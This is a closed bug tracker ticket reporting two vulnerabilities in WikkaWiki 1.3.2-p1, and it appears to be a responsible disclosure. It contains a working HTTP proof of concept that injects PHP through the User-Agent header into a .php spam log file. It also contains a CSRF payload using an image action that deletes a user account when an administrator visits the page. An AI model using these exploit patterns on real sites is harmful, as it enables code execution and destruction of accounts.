Ticket #1098 (closed defect: fixed)
RCE and CSRF vulnerabilities
| Reported by: | EgiX | Owned by: | BrianKoontz |
|---|---|---|---|
| Priority: | highest | Milestone: | 1.3.2-patches |
| Component: | unspecified | Version: | 1.3.2-p1 |
| Severity: | normal | Keywords: | |
| Cc: |
Description (last modified by BrianKoontz) (diff)
I've found two other vulnerabilities.
The first is a Remote Code Execution here:
https://wush.net/trac/wikka/browser/trunk/libs/Wakka.class.php#L1315
If 'spam_logging' option is enabled, an attacker could be able to inject arbitrary PHP code into 'spamlog_path' file (that by default is './spamlog.txt.php') through 'HTTP_USER_AGENT' variable. Proof of concept:
POST /wikka/test/addcomment HTTP/1.1
Host: localhost
Cookie: 96522b217a86eca82f6d72ef88c4c7f4=6l11flsnvef642oajav0ufnp83
User-Agent: <?php phpinfo(); ?>
Content-Length: 27
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
body=foo&submit=Add+Comment
The second is a Cross-Site Request Forgery vulnerability, an attacker could be able to create a malicious page containing an {{image}} action like this:
{{image url=" http://localhost/wikka/AdminUsers?user=TestUser&action=delete"}}
When the admin will visit this page, the 'TestUser' account will be deleted.
Related tickets
#1097 Multiple Security Vulnerabilities
